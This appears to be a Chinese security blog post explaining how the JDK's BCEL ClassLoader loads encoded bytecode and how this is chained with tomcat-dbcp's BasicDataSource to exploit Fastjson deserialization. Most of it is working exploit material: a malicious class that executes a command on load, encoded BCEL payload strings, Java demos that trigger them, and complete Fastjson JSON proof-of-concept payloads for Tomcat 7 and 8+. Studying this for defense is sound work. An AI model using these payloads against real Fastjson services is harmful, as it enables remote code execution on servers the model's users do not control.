文章

Java安全之BCEL ClassLoader

Java安全之BCEL ClassLoader

BCEL ClassLoader如何使用

JDK<JDK8u251的版本里BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode

image-20240313170215806

我们尝试写一个恶意类通过BCEL去加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Bcel {

    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Calc.class);
        String code = "$$BCEL$$"+Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);

        new ClassLoader().loadClass(code).newInstance();
    }
}

Calc这个恶意类通过BCEL生成BCEL形式的字节码。加载后便执行了类中的static方法。

image-20240313170504150

也可以这样:

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class ClassLoaderDemo {
    public static void main(String[] args) {
        try {
Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3d$D$85B$zo$f1$fdb$r$b8$a0$hw$Q7$8a$h$f0$R1$b8$$$e3$E$HKKJ$n$fc$91k6j$5c$f8$B$7e$94$f1N$r$80$b1I$ef$c9$3ds$k$9d$7e$7d$7f$7c$C8E$c9$80$8eu$DEl$q$b0$a9pK$c7$b6$8e$j$j$bb$M$f1$batep$c6$Q$zW$3a$M$da$b9$f7$u$Y2$z$e9$8a$eb$f1$a0$x$fc$7b$bb$eb$Q$93oy$dcv$3a$b6$_$d5$3e$t$b5$e0I$8e$94$da$f3$7b$d6$85$YxVc$o$9d$gC$a2$ce$9dyn$aa$j$d8$fc$f9$ca$k$86$kjf0$da$de$d8$e7$e2R$aa$8c$a4$b2T$fb$f6$c46$91$40R$c7$9e$89$7d$iP$G$f5$f1$aa$98$K$T$878b$u$u$8d$e5$d8n$cfjL$b9$Y$G$d2s$v$feO5Cv$a9$ba$e9$f6$F$P$YrK$ean$ec$Gr$40$adFO$E$8b$a5X$ae$b4$fei$e8$W$g$95s$86$e3$f2$cai$3b$f0$a5$db$ab$ad$gn$7d$8f$8b$d1$a8$86$S$e2$f4$ab$d5$T$BS$97$a1i$d0f$R2$c2$d8$c9$h$d8$y$3c$5e$a3$Z$P$c9$uL$9a$e6$af$A$v$a4$J$T$c8$y$cc$cd0$MH$bf$p$92$8f$beB$7bx$81$d6$9c$85$5c$92$7c1JPiiB$95$99$a4OHQ$82$Z$f6$AYzuDZ$3ar$mS$3e$a4$L$3f$qO$d5$f4$k$C$A$A",true,new com.sun.org.apache.bcel.internal.util.ClassLoader());
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

BCEL在Fastjson漏洞中的利用

当前网络上广泛流传的利用链主要有以下三个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个是通过TemplatesImpl加载恶意字节码,但是要求是开启 Feature.SupportNonPublicField也就是:JSON.parseObject(jsonString, Feature.SupportNonPublicField);,但是实战中很少遇到这样的情况所以不是好用。

第二个是通过JNDI注入的形式加载远程服务器上的恶意类,既然需要加载远程恶意类所以要求目标机器出网,这种情况就不适用不出网的机器。

第三个就是利用了依赖包 tomcat-dbcp 指定BCEL ClassLoader 加载恶意类,这种情况不需要目标机器出网,但是要求目标服务器的JDK版本小于8u251,因为在大于该版本的JDK中删除了com.sun.org.apache.bcel.internal.util.ClassLoader

dbcp通过控制DriverClassName加载恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class DbcpDemo {
    public static void main(String[] args) throws Exception {
        BasicDataSource basicDataSource = new BasicDataSource();
        String calc = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$d3$40$U$3d$93$97c$d7i$f3$m$8f$96$3ey$ra$817$ec$S$b1$a9$40B$b8$a4j$a2T$5dN$86$n$99$e0$d8$91$e3$b4$f9$p$d6$d9$A$C$J$f6$7c$U$e2$8e$89$d2$a8$c5$92$ef$9d$7b$ce$b9$e7$5e$8f$7f$ff$f9$fe$T$c0K4$y$98$a8Y$d8$c5$5e$W$Pu$de7p$60$e0$d0B$GG$G$8e$N$9c0d$da$caW$d1$x$86d$a3$d9gH$9d$G$l$q$c3$8e$ab$7c$f9$7e$3e$Z$c8$b0$c7$H$k$nE7$Q$dc$eb$f3P$e9z$F$a6$a2$91$9a$c5$5c8t$e4$82O$a6$9etN$b9$tZ$M$d9$b6$f0V$d6$8c$a4ew$cc$af$b9$a3$C$e7m$e7$f5B$c8i$a4$C$9fd$b9n$c4$c5$a73$3e$8d$ziA$G$ab$h$ccC$n$df$u$3d$c2$d4v$_t$af$N$L$5b$G$k$d9x$8c$t4$9b$d6$R6$9e$e2$ZC$e9$3f$de$M$7b1$eaq$7f$e8$5c$cc$fdHM$e4$9a$d4$5eu$86$fc$dd$bd$J$bam$ea$M$c6RD$M$85$7b$3e$b4$e3PF$eb$a2$dch$ba$f74$f4m$v$b9$90dYol$b0$dd$uT$fe$b0$b5$d9p$k$GB$cef$d4P$dbT$f6Fap$a3$_$a5$d5$ec$e3$EY$fa$9b$faI$80$e9$8b$a0hS$e5Pf$94$d3$cf$bf$82$zc$3aG1$f3$P$c46E$7bu$deA$9er$W$85u$f3G$qc$ae$fa$N$89b$f2$LR$97$9f$91$7b$f7$D$99$xr3$7e$zc$d2$qi$9a$84$da$b6B$t$c4$9bl$Rj$Sf$Rf$af$c7$e4$I$x$a2D$d5$Dz$N$q$5c$De$93$88J$bcY$f5$_$i$9b$a2$9e$9c$C$A$A";
        ClassLoader classLoader = new ClassLoader();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName(calc);
        basicDataSource.getConnection();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonDemo {
    public static void main(String[] args) {
        String exp1 = "{\n" +
                "        \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "        \"driverClassLoader\": {\n" +
                "            \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "        },\n" +
                "        \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3d$D$85B$zo$f1$fdb$r$b8$a0$hw$Q7$8a$h$f0$R1$b8$$$e3$E$HKKJ$n$fc$91k6j$5c$f8$B$7e$94$f1N$r$80$b1I$ef$c9$3ds$k$9d$7e$7d$7f$7c$C8E$c9$80$8eu$DEl$q$b0$a9pK$c7$b6$8e$j$j$bb$M$f1$batep$c6$Q$zW$3a$M$da$b9$f7$u$Y2$z$e9$8a$eb$f1$a0$x$fc$7b$bb$eb$Q$93oy$dcv$3a$b6$_$d5$3e$t$b5$e0I$8e$94$da$f3$7b$d6$85$YxVc$o$9d$gC$a2$ce$9dyn$aa$j$d8$fc$f9$ca$k$86$kjf0$da$de$d8$e7$e2R$aa$8c$a4$b2T$fb$f6$c46$91$40R$c7$9e$89$7d$iP$G$f5$f1$aa$98$K$T$878b$u$u$8d$e5$d8n$cfjL$b9$Y$G$d2s$v$feO5Cv$a9$ba$e9$f6$F$P$YrK$ean$ec$Gr$40$adFO$E$8b$a5X$ae$b4$fei$e8$W$g$95s$86$e3$f2$cai$3b$f0$a5$db$ab$ad$gn$7d$8f$8b$d1$a8$86$S$e2$f4$ab$d5$T$BS$97$a1i$d0f$R2$c2$d8$c9$h$d8$y$3c$5e$a3$Z$P$c9$uL$9a$e6$af$A$v$a4$J$T$c8$y$cc$cd0$MH$bf$p$92$8f$beB$7bx$81$d6$9c$85$5c$92$7c1JPiiB$95$99$a4OHQ$82$Z$f6$AYzuDZ$3ar$mS$3e$a4$L$3f$qO$d5$f4$k$C$A$A\"\n" +
                "}\n";
        String exp2 = "{\n" +
                "    {\n" +
                "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
                "        \"x\":{\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$d3$40$U$3d$93$97c$d7i$f3$m$8f$96$3ey$ra$817$ec$S$b1$a9$40B$b8$a4j$a2T$5dN$86$n$99$e0$d8$91$e3$b4$f9$p$d6$d9$A$C$J$f6$7c$U$e2$8e$89$d2$a8$c5$92$ef$9d$7b$ce$b9$e7$5e$8f$7f$ff$f9$fe$T$c0K4$y$98$a8Y$d8$c5$5e$W$Pu$de7p$60$e0$d0B$GG$G$8e$N$9c0d$da$caW$d1$x$86d$a3$d9gH$9d$G$l$q$c3$8e$ab$7c$f9$7e$3e$Z$c8$b0$c7$H$k$nE7$Q$dc$eb$f3P$e9z$F$a6$a2$91$9a$c5$5c8t$e4$82O$a6$9etN$b9$tZ$M$d9$b6$f0V$d6$8c$a4ew$cc$af$b9$a3$C$e7m$e7$f5B$c8i$a4$C$9fd$b9n$c4$c5$a73$3e$8d$ziA$G$ab$h$ccC$n$df$u$3d$c2$d4v$_t$af$N$L$5b$G$k$d9x$8c$t4$9b$d6$R6$9e$e2$ZC$e9$3f$de$M$7b1$eaq$7f$e8$5c$cc$fdHM$e4$9a$d4$5eu$86$fc$dd$bd$J$bam$ea$M$c6RD$M$85$7b$3e$b4$e3PF$eb$a2$dch$ba$f74$f4m$v$b9$90dYol$b0$dd$uT$fe$b0$b5$d9p$k$GB$cef$d4P$dbT$f6Fap$a3$_$a5$d5$ec$e3$EY$fa$9b$faI$80$e9$8b$a0hS$e5Pf$94$d3$cf$bf$82$zc$3aG1$f3$P$c46E$7bu$deA$9er$W$85u$f3G$qc$ae$fa$N$89b$f2$LR$97$9f$91$7b$f7$D$99$xr3$7e$zc$d2$qi$9a$84$da$b6B$t$c4$9bl$Rj$Sf$Rf$af$c7$e4$I$x$a2D$d5$Dz$N$q$5c$De$93$88J$bcY$f5$_$i$9b$a2$9e$9c$C$A$A\"\n" +
                "        }\n" +
                "    }: \"x\"\n" +
                "}";

        JSONObject jsonObject = JSON.parseObject(exp1);
        Object parse = JSON.parse(exp2);
    }
}

tomcat7org.apache.tomcat.dbcp.dbcp.BasicDataSource

1
2
3
4
5
6
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>dbcp</artifactId>
        <version>6.0.53</version>
    </dependency>

POC:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

tomcat8及其以后:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

1
2
3
4
5
6
	<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>

POC:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

这里PoC结构上还有一个值得注意的地方在于,

  1. 先是将 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 {}
  2. 之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。

为什么这么设计呢?

因为为了完成前面说的一整个利用链,我们需要触发上方例子中的 BasicDataSource.getConnection() 方法。

具体细节请看 FastJson反序列化漏洞利用的三个细节,简单说就是:FastJson中的 JSON.parse() 会识别并调用目标类的 setter 方法以及某些满足特定条件的 getter 方法,然而 getConnection() 并不符合特定条件,所以正常来说在 FastJson 反序列化的过程中并不会被调用。原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getteris等方法。

##

本文由作者按照 CC BY 4.0 进行授权